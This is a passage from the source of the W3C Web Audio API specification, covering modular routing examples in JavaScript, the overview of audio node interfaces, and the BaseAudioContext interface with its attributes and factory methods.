wide\n\trange of linear effects, especially very high-quality room effects.\n\tHere are some examples of possible effects:\n\n\t* Small / large room\n\t* Cathedral\n\t* Concert hall\n\t* Cave\n\t* Tunnel\n\t* Hallway\n\t* Forest\n\t* Amphitheater\n\t* Sound of a distant room through a doorway\n\t* Extreme filters\n\t* Strange backwards effects\n\t* Extreme comb filter effects\n\n* Dynamics compression for overall control and sweetening of the mix\n\n* Efficient [[#AnalyserNode|real-time time-domain and frequency-domain analysis / music visualizer support]].\n\n* Efficient biquad filters for lowpass, highpass, and other common filters.\n\n* A Waveshaping effect for distortion and other non-linear effects\n\n* Oscillators\n\n<h4 id=\"ModularRouting\">\nModular Routing</h4>\n\nModular routing allows arbitrary connections between different\n{{AudioNode}} objects. Each node can have\n<dfn>inputs</dfn> and/or <dfn>outputs</dfn>.\nA <dfn>source node</dfn> has no inputs and a single output.\nA <dfn>destination node</dfn> has one input and no outputs. Other nodes such as\nfilters can be placed between the source and destination nodes. The\ndeveloper doesn't have to worry about low-level stream format\ndetails when two objects are connected together;\n<a href=\"#channel-up-mixing-and-down-mixing\">the right thing just happens</a>.\nFor example, if a mono audio stream is connected to a\nstereo input it should just mix to left and right channels\n[[#channel-up-mixing-and-down-mixing|appropriately]].\n\nIn the simplest case, a single source can be routed directly to the output.\nAll routing occurs within an {{AudioContext}}\ncontaining a single {{AudioDestinationNode}}:\n\n<figure>\n\t<img alt=\"modular routing\" src=\"images/modular-routing1.png\" width=\"305\" height=\"128\">\n\t<figcaption>\n\t\tA simple example of modular routing.\n\t</figcaption>\n</figure>\n\nIllustrating this simple routing, here's a simple example playing a single sound:\n\n<pre class=\"example\" highlight=\"js\">\nconst context = new AudioContext();\n\nfunction playSound() {\n\tconst source = context.createBufferSource();\n\tsource.buffer = dogBarkingBuffer;\n\tsource.connect(context.destination);\n\tsource.start(0);\n}\n</pre>\n\nHere's a more complex example with three sources and a convolution\nreverb send with a dynamics compressor at the final output stage:\n\n<figure>\n\t<img alt=\"modular routing2\" src=\"images/modular-routing2.png\" width=\"561\" height=\"411\">\n\t<figcaption>\n\t\tA more complex example of modular routing.\n\t</figcaption>\n</figure>\n\n<pre class=\"example\" highlight=\"js\" line-numbers>\nlet context;\nlet compressor;\nlet reverb;\n\nlet source1, source2, source3;\n\nlet lowpassFilter;\nlet waveShaper;\nlet panner;\n\nlet dry1, dry2, dry3;\nlet wet1, wet2, wet3;\n\nlet mainDry;\nlet mainWet;\n\nfunction setupRoutingGraph () {\n\tcontext = new AudioContext();\n\n\t// Create the effects nodes.\n\tlowpassFilter = context.createBiquadFilter();\n\twaveShaper = context.createWaveShaper();\n\tpanner = context.createPanner();\n\tcompressor = context.createDynamicsCompressor();\n\treverb = context.createConvolver();\n\n\t// Create main wet and dry.\n\tmainDry = context.createGain();\n\tmainWet = context.createGain();\n\n\t// Connect final compressor to final destination.\n\tcompressor.connect(context.destination);\n\n\t// Connect main dry and wet to compressor.\n\tmainDry.connect(compressor);\n\tmainWet.connect(compressor);\n\n\t// Connect reverb to main wet.\n\treverb.connect(mainWet);\n\n\t// Create a few sources.\n\tsource1 = context.createBufferSource();\n\tsource2 = context.createBufferSource();\n\tsource3 = context.createOscillator();\n\n\tsource1.buffer = manTalkingBuffer;\n\tsource2.buffer = footstepsBuffer;\n\tsource3.frequency.value = 440;\n\n\t// Connect source1\n\tdry1 = context.createGain();\n\twet1 = context.createGain();\n\tsource1.connect(lowpassFilter);\n\tlowpassFilter.connect(dry1);\n\tlowpassFilter.connect(wet1);\n\tdry1.connect(mainDry);\n\twet1.connect(reverb);\n\n\t// Connect source2\n\tdry2 = context.createGain();\n\twet2 = context.createGain();\n\tsource2.connect(waveShaper);\n\twaveShaper.connect(dry2);\n\twaveShaper.connect(wet2);\n\tdry2.connect(mainDry);\n\twet2.connect(reverb);\n\n\t// Connect source3\n\tdry3 = context.createGain();\n\twet3 = context.createGain();\n\tsource3.connect(panner);\n\tpanner.connect(dry3);\n\tpanner.connect(wet3);\n\tdry3.connect(mainDry);\n\twet3.connect(reverb);\n\n\t// Start the sources now.\n\tsource1.start(0);\n\tsource2.start(0);\n\tsource3.start(0);\n}\n</pre>\n\nModular routing also permits the output of\n{{AudioNode}}s to be routed to an\n{{AudioParam}} parameter that controls the behavior\nof a different {{AudioNode}}. In this scenario, the\noutput of a node can act as a modulation signal rather than an\ninput signal.\n\n<figure>\n\t<img alt=\"modular routing3\" src=\"images/modular-routing3.png\"\n\twidth=\"346\" height=\"337\">\n\t<figcaption>\n\t\tModular routing illustrating one Oscillator modulating the\n\t\tfrequency of another.\n\t</figcaption>\n</figure>\n\n<pre class=\"example\" highlight=\"js\" line-numbers>\nfunction setupRoutingGraph() {\n\tconst context = new AudioContext();\n\n\t// Create the low frequency oscillator that supplies the modulation signal\n\tconst lfo = context.createOscillator();\n\tlfo.frequency.value = 1.0;\n\n\t// Create the high frequency oscillator to be modulated\n\tconst hfo = context.createOscillator();\n\thfo.frequency.value = 440.0;\n\n\t// Create a gain node whose gain determines the amplitude of the modulation signal\n\tconst modulationGain = context.createGain();\n\tmodulationGain.gain.value = 50;\n\n\t// Configure the graph and start the oscillators\n\tlfo.connect(modulationGain);\n\tmodulationGain.connect(hfo.detune);\n\thfo.connect(context.destination);\n\thfo.start(0);\n\tlfo.start(0);\n}\n</pre>\n\n<h3 id=\"APIOverview\">\nAPI Overview</h3>\n\nThe interfaces defined are:\n\n* An <a class=\"dfnref\" href=\"#AudioContext\">AudioContext</a>\n\tinterface, which contains an audio signal graph representing\n\tconnections between {{AudioNode}}s.\n\n* An {{AudioNode}} interface, which represents\n\taudio sources, audio outputs, and intermediate processing modules.\n\t{{AudioNode}}s can be dynamically connected together\n\tin a [[#ModularRouting|modular fashion]].\n\t{{AudioNode}}s exist in the context of an\n\t{{AudioContext}}.\n\n* An {{AnalyserNode}} interface, an\n\t{{AudioNode}} for use with music visualizers, or\n\tother visualization applications.\n\n* An {{AudioBuffer}} interface, for working with\n\tmemory-resident audio assets. These can represent one-shot sounds, or\n\tlonger audio clips.\n\n* An {{AudioBufferSourceNode}} interface, an\n\t{{AudioNode}} which generates audio from an\n\tAudioBuffer.\n\n* An {{AudioDestinationNode}} interface, an\n\t{{AudioNode}} subclass representing the final\n\tdestination for all rendered audio.\n\n* An {{AudioParam}} interface, for controlling an\n\tindividual aspect of an {{AudioNode}}'s functioning,\n\tsuch as volume.\n\n* An {{AudioListener}} interface, which works with\n\ta {{PannerNode}} for spatialization.\n\n* An {{AudioWorklet}} interface representing a\n\tfactory for creating custom nodes that can process audio directly\n\tusing scripts.\n\n* An {{AudioWorkletGlobalScope}} interface, the\n\tcontext in which AudioWorkletProcessor processing scripts run.\n\n* An {{AudioWorkletNode}} interface, an\n\t{{AudioNode}} representing a node processed in an\n\tAudioWorkletProcessor.\n\n* An {{AudioWorkletProcessor}} interface,\n\trepresenting a single node instance inside an audio worker.\n\n* A {{BiquadFilterNode}} interface, an\n\t{{AudioNode}} for common low-order filters such as:\n\n\t* Low Pass\n\t* High Pass\n\t* Band Pass\n\t* Low Shelf\n\t* High Shelf\n\t* Peaking\n\t* Notch\n\t* Allpass\n\n* A {{ChannelMergerNode}} interface, an\n\t{{AudioNode}} for combining channels from multiple\n\taudio streams into a single audio stream.\n\n* A {{ChannelSplitterNode}} interface, an {{AudioNode}} for accessing the individual channels of an\n\taudio stream in the routing graph.\n\n* A {{ConstantSourceNode}} interface, an\n\t{{AudioNode}} for generating a nominally constant output value\n\twith an {{AudioParam}} to allow automation of the value.\n\n* A {{ConvolverNode}} interface, an\n\t{{AudioNode}} for applying a\n\treal-time linear effect (such as the sound of\n\ta concert hall).\n\n* A {{DelayNode}} interface, an\n\t{{AudioNode}} which applies a dynamically adjustable\n\tvariable delay.\n\n* A {{DynamicsCompressorNode}} interface, an\n\t{{AudioNode}} for dynamics compression.\n\n* A {{GainNode}} interface, an\n\t{{AudioNode}} for explicit gain control.\n\n* An {{IIRFilterNode}} interface, an\n\t{{AudioNode}} for a general IIR filter.\n\n* A {{MediaElementAudioSourceNode}} interface, an\n\t{{AudioNode}} which is the audio source from an\n\t<{audio}>, <{video}>, or other media element.\n\n* A {{MediaStreamAudioSourceNode}} interface, an\n\t{{AudioNode}} which is the audio source from a\n\t{{MediaStream}} such as live audio input, or from a remote peer.\n\n* A {{MediaStreamTrackAudioSourceNode}} interface,\n\tan {{AudioNode}} which is the audio source from a\n\t{{MediaStreamTrack}}.\n\n* A {{MediaStreamAudioDestinationNode}} interface,\n\tan {{AudioNode}} which is the audio destination to a\n\t{{MediaStream}} sent to a remote peer.\n\n* A {{PannerNode}} interface, an\n\t{{AudioNode}} for spatializing / positioning audio in\n\t3D space.\n\n* A {{PeriodicWave}} interface for specifying\n\tcustom periodic waveforms for use by the\n\t{{OscillatorNode}}.\n\n* An {{OscillatorNode}} interface, an\n\t{{AudioNode}} for generating a periodic waveform.\n\n* A {{StereoPannerNode}} interface, an\n\t{{AudioNode}} for equal-power positioning of audio\n\tinput in a stereo stream.\n\n* A {{WaveShaperNode}} interface, an\n\t{{AudioNode}} which applies a non-linear waveshaping\n\teffect for distortion and other more subtle warming effects.\n\nThere are also several features that have been deprecated from the\nWeb Audio API but not yet removed, pending implementation experience\nof their replacements:\n\n* A {{ScriptProcessorNode}} interface, an {{AudioNode}} for generating or processing audio directly\n\tusing scripts.\n\n* An {{AudioProcessingEvent}} interface, which is\n\tan event type used with {{ScriptProcessorNode}}\n\tobjects.\n\n<h2 id=\"audioapi\">\nThe Audio API</h2>\n\n<!--\n████████     ███     ██████  ████████          ███     ██████\n██     ██   ██ ██   ██    ██ ██               ██ ██   ██    ██\n██     ██  ██   ██  ██       ██              ██   ██  ██\n████████  ██     ██  ██████  ██████         ██     ██ ██\n██     ██ █████████       ██ ██             █████████ ██\n██     ██ ██     ██ ██    ██ ██             ██     ██ ██    ██\n████████  ██     ██  ██████  ████████       ██     ██  ██████\n-->\n\n<h3 interface lt=\"baseaudiocontext\" id=\"BaseAudioContext\">\nThe {{BaseAudioContext}} Interface</h3>\n\nThis interface represents a set of {{AudioNode}}\nobjects and their connections. It allows for arbitrary routing of\nsignals to an {{AudioDestinationNode}}. Nodes are\ncreated from the context and are then [[#ModularRouting|connected]] together.\n\n{{BaseAudioContext}} is not instantiated directly,\nbut is instead extended by the concrete interfaces\n{{AudioContext}} (for real-time rendering) and\n{{OfflineAudioContext}} (for offline rendering).\n\n{{BaseAudioContext}} are created with an internal slot\n<dfn attribute for=\"BaseAudioContext\">[[pending promises]]</dfn>  that is an\ninitially empty ordered list of promises.\n\nEach {{BaseAudioContext}} has a unique\n<a href=\"https://html.spec.whatwg.org/multipage/media.html#media-element-event-task-source\">\nmedia element event task source</a>.\nAdditionally, a {{BaseAudioContext}} has two private slots <dfn attribute\nfor=\"BaseAudioContext\">[[rendering thread state]]</dfn> and <dfn attribute\nfor=\"BaseAudioContext\">[[control thread state]]</dfn> that take values from\n{{AudioContextState}}, and that are both \n<div class=\"correction proposed\" id=\"c2373-1\">\n  <span class=\"marker\">Proposed Correction\n    <a href=\"https://github.com/WebAudio/web-audio-api/issues/2373\">Issue 2373</a>-1.\n  </span>\n  Use new Web IDL buffer primitives\n  <div class=\"amendment-buttons\">\n    Buttons here\n  </div>\n  <del>initialy</del>\n  <ins>initially</ins>\n</div>\nset to <code>\"suspended\"</code>.\n\n<pre class=\"idl\">\nenum AudioContextState {\n\t\"suspended\",\n\t\"running\",\n\t\"closed\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-for=\"AudioContextState\" dfn-type=\"enum-value\">\n\t<thead>\n\t\t<tr>\n\t\t\t<th scope=\"col\" colspan=\"2\">\n\t\t\t\tEnumeration description\n\t<tbody>\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\t\"<dfn>suspended</dfn>\"\n\t\t\t<td>\n\t\t\t\tThis context is currently suspended (context time is not\n\t\t\t\tproceeding, audio hardware may be powered down/released).\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\t\"<dfn>running</dfn>\"\n\t\t\t<td>\n\t\t\t\tAudio is being processed.\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\t\"<dfn>closed</dfn>\"\n\t\t\t<td>\n\t\t\t\tThis context has been released, and can no longer be used to\n\t\t\t\tprocess audio. All system audio resources have been released.\n</table>\n</div>\n\n<xmp class=\"idl\">\ncallback DecodeErrorCallback = undefined (DOMException error);\n\ncallback DecodeSuccessCallback = undefined (AudioBuffer decodedData);\n\n[Exposed=Window]\ninterface BaseAudioContext : EventTarget {\n\treadonly attribute AudioDestinationNode destination;\n\treadonly attribute float sampleRate;\n\treadonly attribute double currentTime;\n\treadonly attribute AudioListener listener;\n\treadonly attribute AudioContextState state;\n\t[SameObject, SecureContext]\n\treadonly attribute AudioWorklet audioWorklet;\n\tattribute EventHandler onstatechange;\n\n\tAnalyserNode createAnalyser ();\n\tBiquadFilterNode createBiquadFilter ();\n\tAudioBuffer createBuffer (unsigned long numberOfChannels,\n\t                          unsigned long length,\n\t                          float sampleRate);\n\tAudioBufferSourceNode createBufferSource ();\n\tChannelMergerNode createChannelMerger (optional unsigned long numberOfInputs = 6);\n\tChannelSplitterNode createChannelSplitter (\n\t\toptional unsigned long numberOfOutputs = 6);\n\tConstantSourceNode createConstantSource ();\n\tConvolverNode createConvolver ();\n\tDelayNode createDelay (optional double maxDelayTime = 1.0);\n\tDynamicsCompressorNode createDynamicsCompressor ();\n\tGainNode createGain ();\n\tIIRFilterNode createIIRFilter (sequence<double> feedforward,\n\t                               sequence<double> feedback);\n\tOscillatorNode createOscillator ();\n\tPannerNode createPanner ();\n\tPeriodicWave createPeriodicWave (sequence<float> real,\n\t                                 sequence<float> imag,\n\t                                 optional PeriodicWaveConstraints constraints = {});\n\tScriptProcessorNode createScriptProcessor(\n\t\toptional unsigned long bufferSize = 0,\n\t\toptional unsigned long numberOfInputChannels = 2,\n\t\toptional unsigned long numberOfOutputChannels = 2);\n\tStereoPannerNode createStereoPanner ();\n\tWaveShaperNode createWaveShaper ();\n\n\tPromise<AudioBuffer> decodeAudioData (\n\t\tArrayBuffer audioData,\n\t\toptional DecodeSuccessCallback? successCallback,\n\t\toptional DecodeErrorCallback? errorCallback);\n};\n</xmp>\n\n<h4 id='BaseAudioContext-attributes'>\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=BaseAudioContext>\n\t: <dfn>audioWorklet</dfn>\n\t::\n\t\tAllows access to the <code>Worklet</code> object that can import\n\t\ta script containing {{AudioWorkletProcessor}}\n\t\tclass definitions via the algorithms defined by [[!HTML]]\n\t\tand {{AudioWorklet}}.\n\n\t: <dfn>currentTime</dfn>\n\t::\n\t\tThis is the time in seconds of the sample frame immediately\n\t\tfollowing the last sample-frame in the block of audio most\n\t\trecently processed by the context's rendering graph. If the\n\t\tcontext's rendering graph has not yet processed a block of\n\t\taudio, then {{BaseAudioContext/currentTime}} has a value of\n\t\tzero.\n\n\t\tIn the time coordinate system of {{BaseAudioContext/currentTime}}, the value of\n\t\tzero corresponds to the first sample-frame in the first block\n\t\tprocessed by the graph. Elapsed time in this system corresponds\n\t\tto elapsed time in the audio stream generated by the\n\t\t{{BaseAudioContext}}, which may not be\n\t\tsynchronized with other clocks in the system. (For an\n\t\t{{OfflineAudioContext}}, since the stream is\n\t\tnot being actively played by any device, there is not even an\n\t\tapproximation to real time.)\n\n\t\tAll scheduled times in the Web Audio API are relative to the\n\t\tvalue of {{BaseAudioContext/currentTime}}.\n\n\t\tWhen the {{BaseAudioContext}} is in the\n\t\t\"{{AudioContextState/running}}\" state, the\n\t\tvalue of this attribute is monotonically increasing and is\n\t\tupdated by the rendering thread in uniform increments,\n\t\tcorresponding to one <a>render quantum</a>. Thus, for a running\n\t\tcontext, <code>currentTime</code> increases steadily as the\n\t\tsystem processes audio blocks, and always represents the time\n\t\tof the start of the next audio block to be processed. It is\n\t\talso the earliest possible time when any change scheduled in\n\t\tthe current state might take effect.\n\n\t\t<code>currentTime</code> MUST be read <a>atomically</a> on the control thread before being\n\t\treturned.\n\n\t: <dfn>destination</dfn>\n\t::\n\t\tAn {{AudioDestinationNode}}\n\t\twith a single input representing the final destination for all\n\t\taudio. Usually this will represent the actual audio hardware.\n\t\tAll {{AudioNode}}s actively rendering audio\n\t\twill directly or indirectly connect to {{BaseAudioContext/destination}}.\n\n\t: <dfn>listener</dfn>\n\t::\n\t\tAn {{AudioListener}}\n\t\twhich is used for 3D <a href=\"#Spatialization\">spatialization</a>.\n\n\t: <dfn>onstatechange</dfn>\n\t::\n\t\tA property used to set the <code>EventHandler</code> for an\n\t\tevent that is dispatched to\n\t\t{{BaseAudioContext}} when the state of the\n\t\tAudioContext has changed (i.e. when the corresponding promise\n\t\twould have resolved). An event of type\n\t\t{{Event}} will be dispatched to the event\n\t\thandler, which can query the AudioContext's state directly. A\n\t\tnewly-created AudioContext will always begin in the\n\t\t<code>suspended</code> state, and a state change event will be\n\t\tfired whenever the state changes to a different state. This\n\t\tevent is fired before the {{oncomplete}} event\n\t\tis fired.\n\n\t: <dfn>sampleRate</dfn>\n\t::\n\t\tThe sample rate (in sample-frames per second) at which the\n\t\t{{BaseAudioContext}} handles audio. It is assumed that all\n\t\t{{AudioNode}}s in the context run at this rate. In making this\n\t\tassumption, sample-rate converters or \"varispeed\" processors are\n\t\tnot supported in real-time processing.\n\t\tThe <dfn dfn for=\"/\">Nyquist frequency</dfn> is half this sample-rate value.\n\n\t: <dfn>state</dfn>\n\t::\n\t\tDescribes the current state of the {{BaseAudioContext}}.  Getting this\n\t\tattribute returns the contents of the {{[[control thread state]]}} slot.\n</dl>\n\n<h4 id=\"BaseAudioContent-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=BaseAudioContext>\n\t: <dfn>createAnalyser()</dfn>\n\t::\n\t\t<a>Factory method</a> for an {{AnalyserNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AnalyserNode}}\n\t\t</div>\n\n\t: <dfn>createBiquadFilter()</dfn>\n\t::\n\t\t<a>Factory method</a> for a {{BiquadFilterNode}}\n\t\trepresenting a second order filter which can be configured as one\n\t\tof several common filter types.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{BiquadFilterNode}}\n\t\t</div>\n\n\t: <dfn>createBuffer(numberOfChannels, length, sampleRate)</dfn>\n\t::\n\t\tCreates an AudioBuffer of the given size. The audio data in the\n\t\tbuffer will be zero-initialized (silent).\n\t\t<span class=\"synchronous\">A {{NotSupportedError}} exception MUST be\n\t\tthrown if any of the arguments is negative, zero, or outside its\n\t\tnominal range.</span>\n\n\t\t<pre class=argumentdef for=\"BaseAudioContext/createBuffer()\">\n\t\tnumberOfChannels: Determines how many channels the buffer will have. An implementation MUST support at least 32 channels.\n\t\tlength: Determines the size of the buffer in sample-frames.  This MUST be at least 1.\n\t\tsampleRate: Describes the sample-rate of the [=linear PCM=] audio data in the buffer in sample-frames per second. An implementation MUST support sample rates in at least the range 8000 to 96000.\n\t\t</pre>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioBuffer}}\n\t\t</div>\n\n\t: <dfn>createBufferSource()</dfn>\n\t::\n\t\t<a>Factory method</a> for a\n\t\t{{AudioBufferSourceNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioBufferSourceNode}}\n\t\t</div>\n\n\t: <dfn>createChannelMerger(numberOfInputs)</dfn>\n\t::\n\t\t<a>Factory method</a> for a\n\t\t{{ChannelMergerNode}} representing a channel\n\t\tmerger. <span class=\"synchronous\">An\n\t\t{{IndexSizeError}} exception MUST be thrown if\n\t\t{{BaseAudioContext/createChannelMerger(numberOfInputs)/numberOfInputs}} is less than 1 or is greater than the number of supported channels.</span>\n\n\t\t<pre class=argumentdef for=\"BaseAudioContext/createChannelMerger(numberOfInputs)\">\n\t\tnumberOfInputs: Determines the number of inputs. Values of up to 32 MUST be supported. If not specified, then `6` will be used.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{ChannelMergerNode}}\n\t\t</div>\n\n\t: <dfn>createChannelSplitter(numberOfOutputs)</dfn>\n\t::\n\t\t<a>Factory method</a> for a\n\t\t{{ChannelSplitterNode}} representing a channel\n\t\tsplitter. <span class=\"synchronous\">An\n\t\t{{IndexSizeError}} exception MUST be thrown if\n\t\t{{BaseAudioContext/createChannelSplitter(numberOfOutputs)/numberOfOutputs}}  is less than 1 or is greater than the number of supported channels.</span>\n\n\t\t<pre class=argumentdef for=\"BaseAudioContext/createChannelSplitter(numberOfOutputs)\">\n\t\tnumberOfOutputs: The number of outputs. Values of up to 32 MUST be supported. If not specified, then `6` will be used.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{ChannelSplitterNode}}\n\t\t</div>\n\n\t: <dfn>createConstantSource()</dfn>\n\t::\n\t\t<a>Factory method</a> for a\n\t\t{{ConstantSourceNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{ConstantSourceNode}}\n\t\t</div>\n\n\t: <dfn>createConvolver()</dfn>\n\t::\n\t\t<a>Factory method</a> for a {{ConvolverNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{ConvolverNode}}\n\t\t</div>\n\n\t: <dfn>createDelay(maxDelayTime)</dfn>\n\t::\n\t\t<a>Factory method</a> for a {{DelayNode}}. The initial default\n\t\tdelay time will be 0 seconds.\n\n\t\t<pre class=argumentdef for=\"BaseAudioContext/createDelay(maxDelayTime)\">\n\t\tmaxDelayTime: Specifies the maximum delay time in seconds allowed for the delay line. <span class=\"synchronous\">If specified, this value MUST be greater than zero and less than three minutes or a {{NotSupportedError}} exception MUST be thrown.</span> If not specified, then `1` will be used.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{DelayNode}}\n\t\t</div>\n\n\t: <dfn>createDynamicsCompressor()</dfn>\n\t::\n\t\t<a>Factory method</a> for a\n\t\t{{DynamicsCompressorNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{DynamicsCompressorNode}}\n\t\t</div>\n\n\t: <dfn>createGain()</dfn>\n\t::\n\t\t<a>Factory method</a> for {{GainNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{GainNode}}\n\t\t</div>\n\n\t: <dfn>createIIRFilter(feedforward, feedback)</dfn>\n\t::\n\t\t<pre class=argumentdef for=\"BaseAudioContext/createIIRFilter()\">\n\t\tfeedforward: An array of the feedforward (numerator) coefficients for the transfer function of the IIR filter. The maximum length of this array is 20. If all of the values are zero, <span class=\"synchronous\">an {{InvalidStateError}} <em class=\"rfc2119\" title=\"MUST\">MUST</em> be thrown</span>. <span class=\"synchronous\">A {{NotSupportedError}} <em class=\"rfc2119\" title=\"MUST\">MUST</em> be thrown if the array length is 0 or greater than 20</span>.\n\t\tfeedback: An array of the feedback (denominator) coefficients for the transfer function of the IIR filter. The maximum length of this array is 20. If the first element of the array is 0, <span class=\"synchronous\">an {{InvalidStateError}} <em class=\"rfc2119\" title=\"MUST\">MUST</em> be thrown</span>. <span class=\"synchronous\">A {{NotSupportedError}} <em class=\"rfc2119\" title=\"MUST\">MUST</em> be thrown if the array length is 0 or greater than 20</span>.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{IIRFilterNode}}\n\t\t</div>\n\n\t: <dfn>createOscillator()</dfn>\n\t::\n\t\t<a>Factory method</a> for an {{OscillatorNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{OscillatorNode}}\n\t\t</div>\n\n\t: <dfn>createPanner()</dfn>\n\t::\n\t\t<a>Factory method</a> for a {{PannerNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{PannerNode}}\n\t\t</div>\n\n\t: <dfn>createPeriodicWave(real, imag, constraints)</dfn>\n\t::\n\t\t<a>Factory method</a> to create a\n\t\t{{PeriodicWave}}.\n\n\t\t<div algorithm=\"BaseAudioContext.createPeriodicWave()\">\n\t\t\tWhen calling this method,\n\t\t\texecute these steps:\n\n\t\t\t1. <span class=\"synchronous\">If {{BaseAudioContext/createPeriodicWave()/real}} and {{BaseAudioContext/createPeriodicWave()/imag}} are not of the same\n\t\t\t\tlength, an {{IndexSizeError}} MUST be thrown.</span>\n\n\t\t\t2. Let <var>o</var> be a new object of type\n\t\t\t\t{{PeriodicWaveOptions}}.\n\n\t\t\t3. Respectively set the {{BaseAudioContext/createPeriodicWave()/real}} and\n\t\t\t\t{{BaseAudioContext/createPeriodicWave()/imag}} parameters passed to this factory method to\n\t\t\t\tthe attributes of the same name on <var>o</var>.\n\n\t\t\t4. Set the {{PeriodicWaveConstraints/disableNormalization}} attribute on\n\t\t\t\t<var>o</var> to the value of the\n\t\t\t\t{{PeriodicWaveConstraints/disableNormalization}} attribute of the\n\t\t\t\t<code>constraints</code> attribute passed to the factory\n\t\t\t\tmethod.\n\n\t\t\t5. Construct a new {{PeriodicWave}}\n\t\t\t\t<var>p</var>, passing the {{BaseAudioContext}} this factory\n\t\t\t\tmethod has been called on as a first argument, and\n\t\t\t\t<var>o</var>.\n\t\t\t6. Return <var>p</var>.\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"BaseAudioContext/createPeriodicWave()\">\n\t\treal: A sequence of cosine parameters. See its {{PeriodicWaveOptions/real}} constructor argument for a more detailed description.\n\t\timag: A sequence of sine parameters. See its {{PeriodicWaveOptions/imag}} constructor argument for a more detailed description.\n\t\tconstraints: If not given, the waveform is normalized. Otherwise, the waveform is normalized according the value given by <code>constraints</code>.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{PeriodicWave}}\n\t\t</div>\n\n\t: <dfn>createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels)</dfn>\n\t::\n\t\t<a>Factory method</a> for a {{ScriptProcessorNode}}.\n\t\tThis method is DEPRECATED, as it is intended to be replaced by {{AudioWorkletNode}}.\n\t\tCreates a {{ScriptProcessorNode}} for direct audio processing using scripts.\n\t\t<span class=\"synchronous\">An {{IndexSizeError}} exception MUST be thrown if\n\t\t{{bufferSize!!argument}} or {{numberOfInputChannels}} or {{numberOfOutputChannels}}\n\t\tare outside the valid range.</span>\n\n\t\tIt is invalid for both {{numberOfInputChannels}} and {{numberOfOutputChannels}} to be zero.\n\t\t<span class=\"synchronous\">In this case an {{IndexSizeError}} MUST be thrown.</span>\n\n\t\t<pre class=argumentdef for=\"BaseAudioContext/createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels)\">\n\t\tbufferSize: The {{ScriptProcessorNode/bufferSize}} parameter determines the buffer size in units of sample-frames. If it's not passed in, or if the value is 0, then the implementation will choose the best buffer size for the given environment, which will be constant power of 2 throughout the lifetime of the node. Otherwise if the author explicitly specifies the bufferSize, it <em class=\"rfc2119\" title=\"MUST\">MUST</em> be one of the following values: 256, 512, 1024, 2048, 4096, 8192, 16384. This value controls how frequently the {{ScriptProcessorNode/onaudioprocess}} event is dispatched and how many sample-frames need to be processed each call. Lower values for {{ScriptProcessorNode/bufferSize}} will result in a lower (better) <a href=\"#latency\">latency</a>. Higher values will be necessary to avoid audio breakup and <a href=\"#audio-glitching\">glitches</a>. It is recommended for authors to not specify this buffer size and allow the implementation to pick a good buffer size to balance between <a href=\"#latency\">latency</a> and audio quality. If the value of this parameter is not one of the allowed power-of-2 values listed above, <span class=\"synchronous\">an {{IndexSizeError}} <em class=\"rfc2119\" title=\"MUST\">MUST</em> be thrown</span>.\n\t\tnumberOfInputChannels: This parameter determines the number of channels for this node's input. The default value is 2. Values of up to 32 must be supported. <span class=\"synchronous\">A {{NotSupportedError}} must be thrown if the number of channels is not supported.</span>\n\t\tnumberOfOutputChannels: This parameter determines the number of channels for this node's output. The default value is 2. Values of up to 32 must be supported. <span class=\"synchronous\">A {{NotSupportedError}} must be thrown if the number of channels is not supported.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{ScriptProcessorNode}}\n\t\t</div>\n\n\t: <dfn>createStereoPanner()</dfn>\n\t::\n\t\t<a>Factory method</a> for a {{StereoPannerNode}}.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{StereoPannerNode}}\n\t\t</div>\n\n\t: <dfn>createWaveShaper()</dfn>\n\t::\n\t\t<a>Factory method</a> for a {{WaveShaperNode}}\n\t\trepresenting a non-linear distortion.\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{WaveShaperNode}}\n\t\t</div>\n\n\t: <dfn>decodeAudioData(audioData, successCallback, errorCallback)</dfn>\n\t::\n\t\tAsynchronously decodes the audio file data contained in the\n\t\t{{ArrayBuffer}}. The {{ArrayBuffer}} can, for\n\t\texample, be loaded from an <code>XMLHttpRequest</code>'s\n\t\t<code>response</code> attribute after setting the\n\t\t<code>responseType</code> to <code>\"arraybuffer\"</code>. Audio\n\t\tfile data can be in any of the formats supported by the\n\t\t<{audio}> element. The buffer passed 